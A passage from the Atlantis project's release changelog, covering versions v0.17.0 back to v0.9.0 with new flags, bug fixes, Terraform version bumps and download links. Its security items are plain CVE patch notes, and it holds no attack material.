make this stable. ## Features/Improvements * Add `--enable-policy-checks` which adds a policy checking step to the Atlantis workflow and runs server-side conftest policies on the terraform plan output. ([#1317](https://github.com/runatlantis/atlantis/pull/1317) by @msarvar and @nishkrishnan) - Supports `atlantis approve_policies` which allows a set of blessed github users to approve failing policies. * Support pre-workflow hooks on all comment/auto triggered commands ([#1418](https://github.com/runatlantis/atlantis/pull/1418) by @nishkrishnan) * Add branch allowlist matcher to server side repo config ([#1383](https://github.com/runatlantis/atlantis/pull/1383) by @dghubble) * Add support for regex commands ([#1419](https://github.com/runatlantis/atlantis/pull/1419) by @bewie) * Add support for a global apply lock ([#1473](https://github.com/runatlantis/atlantis/pull/1473) by @msarvar) * Add structured logging support ([#1467](https://github.com/runatlantis/atlantis/pull/1467) by @nishkrishnan) * Ensure policy checks is its own apply requirement ([#1499](https://github.com/runatlantis/atlantis/pull/1499) by @nishkrishnan) * Add `--silence-no-projects` which silences Atlantis from responding to PRs when there are no projects ([#1469](https://github.com/runatlantis/atlantis/pull/1469) by @GenPage) * Add plan summary to unfolded part of the comment ([#1518](https://github.com/runatlantis/atlantis/pull/1518) by @wkrysmann) * Add `--autoplan-file-list` which allows modifying the global list of files that trigger project planning ([#1475](https://github.com/runatlantis/atlantis/pull/1475) by @Omicron7) * Add server-side repo config support to delete the source branch when automerge is configured ([#1357](https://github.com/runatlantis/atlantis/pull/1357) by @tapaszto) ## Bug Fixes * Fix output for Terraform 0.14 projects not filtering out refreshing of state. ([#1352](https://github.com/runatlantis/atlantis/pull/1352) by @mathcantin) ## Dependencies * Upgrade conftest binary version to 0.23 ([#1516](https://github.com/runatlantis/atlantis/pull/1516) by @msarvar) * Upgrade default tf version to 0.15.1 and add latest patch versions for old terraform minor versions ([#1472](https://github.com/runatlantis/atlantis/pull/1512) by @bryantbiggs) ## Backwards Incompatibilities/Notes * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.15.1. Simply set the above flag to your desired default version to avoid any issues. * Hashicorp's GPG keys were [exposed](https://discuss.hashicorp.com/t/hcsec-2021-12-codecov-security-event-and-hashicorp-gpg-key-exposure/23512). This PR adds the latest patch versions for each Terraform minor version which has new keys. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.17.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.16.1..v0.17.0 https://github.com/runatlantis/atlantis/compare/v0.16.1...v0.17.0 # v0.17.0-beta Feature release. Due to a sizeable refactor and the number of configuration settings supported in Atlantis, this is a pre-release and should not be considered fully stable. ## Features * Add `--enable-policy-checks` which adds a policy checking step to the Atlantis workflow and runs server-side conftest policies on the terraform plan output. ([#1317](https://github.com/runatlantis/atlantis/pull/1317) by @msarvar and @nishkrishnan) - Supports `atlantis approve_policies` which allows a set of blessed github users to approve failing policies. * Support pre-workflow hooks on all comment/auto triggered commands ([#1418](https://github.com/runatlantis/atlantis/pull/1418) by @nishkrishnan) * Add `HEAD_COMMIT` to run steps * Update terraform version to 0.14.7 ## Backwards Incompatibilities/Notes * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.14.7. Simply set the above flag to your desired default version to avoid any issues. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0-beta/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0-beta/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0-beta/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0-beta/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.17.0-beta`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.16.1..v0.17.0-beta https://github.com/runatlantis/atlantis/compare/v0.16.1...v0.17.0-beta # v0.16.1 Few improvements and a number of bug fixes ## Features/Improvements * Add `--gh-app-slug` which allows fetching of gh app user. ([#1334](https://github.com/runatlantis/atlantis/pull/1334) by @nishkrishnan) (Also fixes [#1161](https://github.com/runatlantis/atlantis/issues/1161)) * Add `--disable-repo-locking` flag. ([#1340](https://github.com/runatlantis/atlantis/pull/1340) by @gezb) (Closes [#1212](https://github.com/runatlantis/atlantis/issues/1212)) * Pass atlantis/apply when there are no plans ([#1323](https://github.com/runatlantis/atlantis/pull/1323) by @raxod502-plaid) * Update terraform version to 0.14.5 ## Bugfixes * Fix bug with error messaging and incorrect casting ([#1327](https://github.com/runatlantis/atlantis/pull/1327) by @acastle) * Fix bug where .auto.tfvars.json files were being ignored in 0.16.0 (Fixes [#1330](https://github.com/runatlantis/atlantis/issues/1330) by @gekO) * Fix Azure DevOps automerge by dynamically fetching user id (Fixes [#1152](https://github.com/runatlantis/atlantis/issues/1152) by @tapaszto) * Replace slack GetChannels with GetConversations due to API deprecation (Fixes [#1210](https://github.com/runatlantis/atlantis/issues/1210) by @thlacroix) * Set TF_WORKSPACE for remote runs to target correct workspace (Fixes [#661](https://github.com/runatlantis/atlantis/issues/661) by @m1pl) * Fix for restricting what workflows each repo has access to without exposing custom workflow definitions (Fixes [#1358](https://github.com/runatlantis/atlantis/issues/1358) by @netguino) ## Backwards Incompatibilities / Notes: * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.14.5. Simply set the above flag to your desired default version to avoid any issues. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.1/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.1/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.1/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.1/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.16.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.16.0..v0.16.1 https://github.com/runatlantis/atlantis/compare/v0.16.0...v0.16.1 # v0.16.0 ## Description Feature release with some new flags and bugfixes. This release is thanks to our new Atlantis maintainer team: * [@chenrui333](https://github.com/chenrui333) * [@nishkrishnan](https://github.com/nishkrishnan) * [@acastle](https://github.com/acastle) * [@unRob](https://github.com/unRob) * [@jamengual](https://github.com/jamengual) ## Features * Allow configuring number of concurrent plans/applies via new `-parallel-pool-size` flag ([#1177](https://github.com/runatlantis/atlantis/pull/1177) by @dmattia) * Add new flag `-disable-apply` that will disable the ability to run all applies ([#1230](https://github.com/runatlantis/atlantis/pull/1230) by @gezb) * This release will release with an arm64 binary ([#1291](https://github.com/runatlantis/atlantis/pull/1291) by @pgroudas) * Add `pre_workflow_hooks` steps to allow for running custom scripts before workflow execution ([#1255](https://github.com/runatlantis/atlantis/pull/1255) by @msarvar) * Update default Terraform version to 0.14.3 ## Bugfixes * Fix bug checking for up to date branches when using GitHub App installation and `-checkout-strategy=merge` (Fixes [#1236](https://github.com/runatlantis/atlantis/issues/1236) by @nishkrishnan) * Fix version detection for versions with prereleases when running Terraform >= 0.12.0 (Fixes [#1276](https://github.com/runatlantis/atlantis/issues/1276) by @acastle) * Fix bug detecting Terraform files ([#1253](https://github.com/runatlantis/atlantis/pull/1253) by @surminus) ## Backwards Incompatibilities / Notes: * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.14.3. Simply set the above flag to your desired default version to avoid any issues. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.0/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.16.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.15.1..v0.16.0 https://github.com/runatlantis/atlantis/compare/v0.15.1...v0.16.0 # v0.15.1 ## Description Bugfix release. ## Bugfixes * Fix `required_version` detection not working for Terraform 0.13.0 ([#1153](https://github.com/runatlantis/atlantis/issues/1153) by @joerx) * Fix editing comments on draft PRs causing plan to re-run ([#1194](https://github.com/runatlantis/atlantis/issues/1194)) * Fix Azure DevOps apply status checks not working ([#1172](https://github.com/runatlantis/atlantis/issues/1172) by @acastle) * Fix checkout-strategy=merge not working when using the GitHub app installation ([#1193](https://github.com/runatlantis/atlantis/issues/1193) by @nishkrishnan) ## Backwards Incompatibilities / Notes: * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.13.4. Simply set the above flag to your desired default version to avoid any issues. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.1/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.1/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.1/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.1/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.15.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.15.0..v0.15.1 https://github.com/runatlantis/atlantis/compare/v0.15.0...v0.15.1 # v0.15.0 ## Description Relatively small release with some bugfixes and a couple of features. Also sets default Terraform version to 0.13.0. ## Features * Bump default Terraform version to 0.13.0 * Retry GitHub calls to prevent 404 issues ([#1019](https://github.com/runatlantis/atlantis/issues/1019)) * Update GitLab library to handle rate limiting issues ([#1142](https://github.com/runatlantis/atlantis/issues/1142) by @LAKostis) * Alpine version n Docker image is now 3.12 (up from 3.11) ([#1136](https://github.com/runatlantis/atlantis/pull/1136) by @lazzurs) * Add new flag `--skip-clone-no-changes` that will skip cloning the repo during autoplan if there are no changes to Terraform projects. This will only apply for GitHub and GitLab and only for repos that have `atlantis.yaml` files. ([#1158](https://github.com/runatlantis/atlantis/pull/1158) by @cucxabong) * Add new flag `--disable-autoplan` that will globally disable autoplanning. ([#1159](https://github.com/runatlantis/atlantis/pull/1159) by @ValdirGuerra) ## Bugfixes * Fix `--hide-prev-plan-comments` bug ([#1009](https://github.com/runatlantis/atlantis/issues/1009) by @goodspark) * Fix comment splitting bug ([#1109](https://github.com/runatlantis/atlantis/pull/1109) by @crainte) * Fix Azure DevOps bug when cloning a repo with spaces in its name ([#1079](https://github.com/runatlantis/atlantis/issues/1079) by @mcdafydd) ## Backwards Incompatibilities / Notes: * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.13.0. Simply set the above flag to your desired default version to avoid any issues. * `--repo-whitelist` is now deprecated in favour of `--repo-allowlist`. The previous flag will still work. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.15.0/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.15.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.14.0..v0.15.0 https://github.com/runatlantis/atlantis/compare/v0.14.0...v0.15.0 # v0.14.0 ## Description This release brings a big new feature: the ability to install Atlantis as a GitHub App! Thanks to [@unRob](https://github.com/unRob) for this amazing feature. ## Features * Support installation via a GitHub App. See https://www.runatlantis.io/docs/access-credentials.html#github-app for instructions. ([#1088](https://github.com/runatlantis/atlantis/pull/1088) by @unRob) * Add new `atlantis unlock` command that can be run on pull requests to discard all plans and unlock all projects associated with that PR. ([#1091](https://github.com/runatlantis/atlantis/pull/1091) by @parmouraly) * Add debug-level logging for GitHub calls ([#1042](https://github.com/runatlantis/atlantis/pull/1042) by @cket) * The repo-relative directory is now available in custom workflows via the environment variable `REPO_REL_DIR` ([#1063](https://github.com/runatlantis/atlantis/pull/1063) by @llamahunter) * Upgrade the default Terraform version to 0.12.27. * Update jQuery to 1.5.1 to fix a security issue with the older version. * Update `gosu` in the Atlantis Docker image to 1.12 ([#1104](https://github.com/runatlantis/atlantis/pull/1104) by @lazzurs) * Ignore changes to `.tflint.hcl` ([#1075](https://github.com/runatlantis/atlantis/pull/1075) by @unRob) ## Bugfixes * `--write-git-credentials` now works with Azure DevOps ([#1070](https://github.com/runatlantis/atlantis/pull/1070) by @markbrennan) * Partly fix `--hide-prev-plan-comments` on GitHub Enterprise ([#1072](https://github.com/runatlantis/atlantis/pull/1072) by @goodspark) * Fix bug where Atlantis would auto-merge a PR if `apply` was run after the locks were discarded (Fixes [#1006](https://github.com/runatlantis/atlantis/issues/1006) by @parmouraly) * Fix bug when using `--hide-prev-plan-comments` where if a plan output was split across multiple comments only the first comment would get hidden (Fixes [#1021](https://github.com/runatlantis/atlantis/issues/1021) by @crainte) ## Backwards Incompatibilities / Notes: * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.12.27. Simply set the above flag to your desired default version to avoid any issues. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.14.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.14.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.14.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.14.0/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.14.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.13.0..v0.14.0 https://github.com/runatlantis/atlantis/compare/v0.13.0...v0.14.0 # v0.13.0 ## Description This release enables support for running plans and applies in parallel **only when using Terraform workspaces**. It also enables graceful shutdown for Atlantis where it waits for in-progress plans and applies to complete. See below for the complete list. ## Features * Upgrade default Terraform version in Docker image to 0.12.26. * Add support for parallel plans and applies ([#926](https://github.com/runatlantis/atlantis/pull/926) by @Fauzyy) Running in parallel is only supported if you're using workspaces to separate your projects. Projects in separate directories can **not** be run in parallel currently. To use, set ```yaml parallel_plan: true parallel_apply: true ``` In your repo-level `atlantis.yaml` file. * Add support for graceful shutdown ([#1051](https://github.com/runatlantis/atlantis/pull/1051) by @benoit74). When Atlantis receive a SIGINT or SIGTERM it won't shut down immediately. It will wait for in-progress plans and applies to complete. Any new actions, e.g. comments or autoplans will be refused and an error comment will be posted to the PR indicating that Atlantis is shutting down and the user should try again later. In addition, a new `/status` endpoint has been added that currently only returns the number of in-progress operations and whether the server is shutting down. * GitHub: A new flag `--allow-draft-prs` has been added that will re-enable the ability for users to run plan and apply on GitHub draft PRs. This ability was removed in v0.12.0. ([#1053](https://github.com/runatlantis/atlantis/pull/1053) by @cket) * GitHub: Preserve original commit message when automerging ([#1049](https://github.com/runatlantis/atlantis/pull/1049) by @pratikmallya). This change removes the `[Atlantis] Automatically merging after successful apply` commit message and instead has GitHub autogenerate the commit message similarly to how it would when you click the "Merge" button in the UI. * Change log level for HTTP requests from INFO to DBUG, e.g. ``` 2020/05/26 12:16:20+0000 [INFO] server: GET /healthz – respond HTTP 200 2020/05/26 12:16:36+0000 [INFO] server: GET /healthz – from ``` ([#1056](https://github.com/runatlantis/atlantis/pull/1056) by @tammert) * GitLab: Use correct link to merge requests (previously used `#` instead of `!`) ([#1059](https://github.com/runatlantis/atlantis/pull/1059) by @EppO) ## Bugfixes * Azure DevOps: Project links link to pull requests now (Fixes [#957](https://github.com/runatlantis/atlantis/issues/957) by @mcdafydd) * GitHub: Release locks when GitHub draft PRs are closed ([#1038](https://github.com/runatlantis/atlantis/pull/1038) by @andrewring) * Ensure git-lfs is in our Docker image (Fixes [#1054](https://github.com/runatlantis/atlantis/pull/1054)) ## Backwards Incompatibilities / Notes: * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.12.26. Simply set the above flag to your desired default version to avoid any issues. * HTTP requests are now logged as DBUG instead of INFO to reduce log spam. If you still want to see these logs you must run with `--log-level=debug`. * Atlantis will no longer immediately shutdown when it receives a SIGINT or SIGTERM, it will now wait for in-progress plans and applies to complete. To stop Atlantis without waiting, send a SIGKILL. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.13.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.13.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.13.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.13.0/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.13.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.12.0..v0.13.0 https://github.com/runatlantis/atlantis/compare/v0.12.0...v0.13.0 # v0.12.0 ## Description This release contains one much-awaited GitHub-only feature: the ability to hide previous plan comments with the `--hide-prev-plan-comments` flag. It also contains a host of other small features and fags. ## Features * GitHub: Add `--hide-prev-plan-comments` flag. When set, previous plan comments will be marked as outdated in GitHub's UI. This collapses them making a PR with lots of plan comments easier to read. ([#994](https://github.com/runatlantis/atlantis/pull/994) by @goodspark) * GitHub: Ignore draft PRs until they're changed to "ready for review". ([#977](https://github.com/runatlantis/atlantis/pull/977) by @cket) * Upgrade default Terraform version in Docker image to 0.12.24. * Set `as_user` param when sending slack notifications so the message is decorated appropriately ([#907](https://github.com/runatlantis/atlantis/pull/907) by @tmcevoy14) * Add Git LFS support ([#872](https://github.com/runatlantis/atlantis/pull/872) by @remilapeyre) * Add `--silence-vcs-status-no-plans` flag that silences VCS commit status when autoplan finds no projects to plan. When set, Atlantis won't create any VCS statuses if there no projects to plan. ([#959](https://github.com/runatlantis/atlantis/pull/959) by @cket) * Add `--disable-markdown-folding` flag that disables folding for long plan/apply outputs. ([#960](https://github.com/runatlantis/atlantis/pull/960) by @mhumeSF) * Ignore casing when setting log levels, e.g. `--log-level=INFO` now works. ([#976](https://github.com/runatlantis/atlantis/pull/976) by @jpreese) * Azure DevOps: Add policy checking. ([#984](https://github.com/runatlantis/atlantis/pull/984) by @jpreese) * Upgrade boltdb to latest maintained version. ([#992](https://github.com/runatlantis/atlantis/pull/992) by @amasover) ## Bugfixes * Azure DevOps: Prevent pull request updated events from triggering autoplan when the event was caused by a change in approvals. (Fixes [#946](https://github.com/runatlantis/atlantis/issues/946) by @mcdafydd) ## Backwards Incompatibilities / Notes: * GitHub draft PRs are now ignored until they're marked "ready for review" and opened as regular PRs. **NOTE: ** This functionality was added back in Atlantis v0.13.0 via the `--allow-draft-prs` flag. * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.12.24. Simply set the above flag to your desired default version to avoid any issues. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.12.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.12.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.12.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.12.0/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.12.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.11.1..v0.12.0 https://github.com/runatlantis/atlantis/compare/v0.11.1...v0.12.0 # v0.11.1 ## Description Using the latest Alpine Docker image (3.11) to mitigate some vulnerabilities in that image. ## Security * Use Alpine 3.11 to mitigate: 1. CVE-2019-5482: `curl <7.66.0-r0` https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5482 2. CVE-2019-5481: `curl <7.66.0-r0` https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5481 3. CVE-2019-15903: `expat <2.2.7-r1` and `git <2.22.0r0` https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15903 4. CVE-2018-20843: `expat <2.2.7-r0` and `git <2.22.0-r0` https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20843 5. CVE-2019-14697: `musl <1.1.22-r3` https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14697 ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.1/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.1/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.1/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.1/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.11.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.11.0..v0.11.1 https://github.com/runatlantis/atlantis/compare/v0.11.0...v0.11.1 # v0.11.0 ## Description Small release with a couple new config flags from contributors. ## Features * Upgrade default Terraform version in Docker image to 0.12.19. * Add new `--tf-download-url` flag to allow overriding the default download base URL of `https://releases.hashicorp.com`. ([#787](https://github.com/runatlantis/atlantis/pull/787) by @cullenmcdermott) * Add new `--vcs-status-name` flag to allow configuring the name Atlantis uses for its PR statuses. Useful if running multiple Atlantis servers on the same repo. ([#841](https://github.com/runatlantis/atlantis/pull/841) by @js-timbirkett) * Add new `--silence-fork-pr-errors` flag to silence errors from fork PRs in orgs that use fork PRs for non-terraform changes. ([#885](https://github.com/runatlantis/atlantis/pull/885) by @kinghrothgar) ## Bugfixes * Fix Atlantis Dockerfile subcommand detection (Fixes [#870](https://github.com/runatlantis/atlantis/issues/870) by @sparky005) * Fix `--write-git-creds` command for BitBucket modules (Fixes [#873](https://github.com/runatlantis/atlantis/issues/873) by @ImperialXT) * Fix issue where Atlantis was failing on Azure DevOps PRs with branch protection (Fixes [#880](https://github.com/runatlantis/atlantis/issues/880) by @mcdafydd) * Fix issue where project's set with an absolute dir, e.g. `dir: /a/b/c` would actually use that directory instead of making it relative to the reo root (Fixes [#849](https://github.com/runatlantis/atlantis/issues/849)). * Fix issue where changes to `terragrunt.hcl` files weren't being detected when using `atlantis.yaml` files (Fixes [#803](https://github.com/runatlantis/atlantis/issues/803) by @JoshiiSinfield) ## Backwards Incompatibilities / Notes: * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.12.19. Simply set the above flag to your desired default version to avoid any issues. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.11.0/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.11.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.10.2..v0.11.0 https://github.com/runatlantis/atlantis/compare/v0.10.2...v0.11.0 # v0.10.2 ## Description Some small features in this release and some bug fixes. * Exclusions are now supported in `when_modified` config so you can ignore changes in files that you don't want to trigger plan on. * Emojis are now supported in Azure DevOps 🎉. ## Features * Upgrade Terraform in Docker image to 0.12.16. * Add support for [kustomize](https://kustomize.io/) ([#785](https://github.com/runatlantis/atlantis/pull/785) by @tobbbles) * Use emojis in comments for Azure DevOps ([#863](https://github.com/runatlantis/atlantis/pull/863) by @mcdafydd) * Allow exclusions to be specified in `when_modified`, e.g. `when_modified: ["!this-file.tf"]` ([#847](https://github.com/runatlantis/atlantis/pull/847) by @leonsodhi-lf) * When using `--checkout-strategy=merge` warn users if the branch they're merging into has been updated ([#804](https://github.com/runatlantis/atlantis/issues/804) by @MRinalducci) ## Bugfixes * Support `/` in branch names for Azure DevOps (Fixes [#835](https://github.com/runatlantis/atlantis/issues/835) by @mcdafydd) * Fix bug where a server-side workflow with the name "default" wasn't being used (Fixes [#860](https://github.com/runatlantis/atlantis/issues/860)) * Fix GitLab error due to API updates (Fixes [#864](https://github.com/runatlantis/atlantis/issues/846)) ## Backwards Incompatibilities / Notes: * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.12.16. Simply set the above flag to your desired default version to avoid any issues. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.2/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.2/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.2/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.2/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.10.2`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.10.1..v0.10.2 https://github.com/runatlantis/atlantis/compare/v0.10.1...v0.10.2 # v0.10.1 ## Description Small release that is built using Go 1.13.3 to mitigate a CVE (https://99designs.ca/blog/engineering/request-smuggling/). ## Features * Error out when user has an atlantis.yml file (wrong extension, needs .yaml) ([#816](https://github.com/runatlantis/atlantis/pull/816) by @mdcurran) ## Bugfixes None ## Backwards Incompatibilities / Notes: If you had an `atlantis.yml` file (note the `.yml` extension), previously Atlantis ignored it. Now it will error to warn you that it's not being used. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.1/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.1/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.1/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.1/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.10.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.10.0..v0.10.1 https://github.com/runatlantis/atlantis/compare/v0.10.0...v0.10.1 # v0.10.0 ## Description Lots of new features in this release: Azure DevOps support, automatic Terraform version detection and private module cloning support. All by community contributors! ## Features * Support for Azure DevOps ([719](https://github.com/runatlantis/atlantis/pull/719) by @mcdafydd) * Support detecting Terraform version from `terraform { required_version = "=" }` block ([#789](https://github.com/runatlantis/atlantis/pull/789) by @kennethtxytqw) * Improve `--write-git-creds` command so that it supports ssh private modules ([#799](https://github.com/runatlantis/atlantis/pull/799) by @ImperialXT) * Default TF version is now 0.12.12 * Logo is now bigger on locks listing ([#783](https://github.com/runatlantis/atlantis/pull/783) by @Nuru) ## Bugfixes * Fix error when using GitLab with the "Delete source branch" setting (Fixes [#760](https://github.com/runatlantis/atlantis/issues/760)) * Fix repo whitelist when using wildcard in the middle, ex. `github.com/*-something` (Fixes [#692](https://github.com/runatlantis/atlantis/issues/692) by @dedamico) ## Backwards Incompatibilities / Notes: * If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag then the default version of Terraform will now be 0.12.12. Simply set the above flag to your desired default version to avoid any issues. ## Downloads * [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.0/atlantis_darwin_amd64.zip) * [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.0/atlantis_linux_386.zip) * [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.0/atlantis_linux_amd64.zip) * [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.10.0/atlantis_linux_arm.zip) ## Docker [`runatlantis/atlantis:v0.10.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) ## Diff v0.9.0..v0.10.0 https://github.com/runatlantis/atlantis/compare/v0.9.0...v0.10.0 # v0.9.0 ## Description This release contains a new step for custom workflows called `env`. It allows users to set environment variables statically and dynamically for their workflows: ```yaml workflows: env: plan: steps: - env: name: STATIC value: set-statically - env: name: DYNAMIC command: echo set-dynamically - run: echo $STATIC $DYNAMIC # outputs 'set-statically set-dynamically' ``` ## Features * New `env` step in custom workflows ([#751](https://github.com/runatlantis/atlantis/pull/751)) * New flag `--write-git-creds` helps Atlantis support private module sources. ([#711](https://github.com/runatlantis/atlantis/pull/711)) * Upgrade Terraform to 